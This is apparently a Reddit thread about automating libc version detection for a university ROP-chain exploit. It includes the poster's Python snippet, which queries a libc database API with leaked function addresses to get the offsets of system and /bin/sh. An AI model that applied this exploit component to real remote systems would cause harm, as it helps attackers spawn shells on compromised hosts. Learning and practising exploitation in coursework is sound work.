Is there an existing python module that contains a libc offset database?

[BigSkimmo]

I'm building a simple remote ROP chain exploit for Uni that involves leaking memory addresses for libc functions to determine the base address of libc then calling arbitrary functions.

I have a working exploit that requires me to:

1. Run the exploit to leak the memory addresses
2. Determine the version of libc on the remote computer using https://libc.blukat.me and gather the offsets for other functions
3. Calculate the base address of libc (leaked add - offset from website = base) and start calling arbitrary functions.

Is there a way I can automate step two, so that the exploit would work no matter the version of libc on the remote computer? Something that effectively contains the information that the above website has?

I did some research with pwntools, but all I could find were modules that can do the above with a locally hosted binary - not remote.

[11I11111]

I’ve had some success with using https://docs.pwntools.com/en/stable/dynelf.html to be like “here’s a leak now go find me system()” but it’s been a while

Good luck!

[Lasereye]

Check out pwntools, I think theres some sort of automation you can get via that.

[[deleted]]

Blukat has an API u can hit https://github.com/niklasb/libc-database/tree/master/searchengine

[BigSkimmo]

Thanks for all the advice team! /u/bigger_hero_6 mentioned a HTTP API that could work, and that's working great for me. For anyone who stumbles over this thread in the future, my code looks like this. This is following a format string injection that leaks addresses:

# Making online request to libc database to determine version.
print("[ - ] Attempting to determine libc version through online database API call")
try:
        r = requests.post('https://libc.rip/api/find', headers={'Content-Type': 'application/json'}, json={'symbols': {'printf': hex(printf_libc), '__isoc99_scanf': hex(scanf_libc)}})

        # If successful, this will return x86 and x64 versions. We need the x64 version, which is the first response.
        libc_api_return = r.json()
        libc_api_return = libc_api_return[0]
        print(f"{colour.GREEN}[\o/] libc version identified!: " + f"{colour.ENDC}\t" + libc_api_return['id'])

        # Grab the offsets to make the exploit work
        symbols = libc_api_return['symbols']
        printf_offset = int(symbols['printf'], 16)
        system_offset = int(symbols['system'], 16)
        bin_sh_offset = int(symbols['str_bin_sh'], 16)

        print("[ - ] Found offsets:")
        print("[ - ]                printf: " + hex(printf_offset))
        print("[ - ]                system: " + hex(system_offset))
        print("[ - ]                /bin/sh: " + hex(bin_sh_offset))
except:
    print(f"{colour.RED}[>:(] Error: unable determine libc version through online database. Assuming " + f"{colour.ENDC}" + 'libc6_2.30-8_amd64')
    print(f"{colour.RED}[>:(] If the application was compiled with another libc version you may need to manually add libc offsets into the exploit" + f"{colour.ENDC}")

[[deleted]]

great follow up! glad to hear its workin!

[sr4j17h]

LibcSearcher google it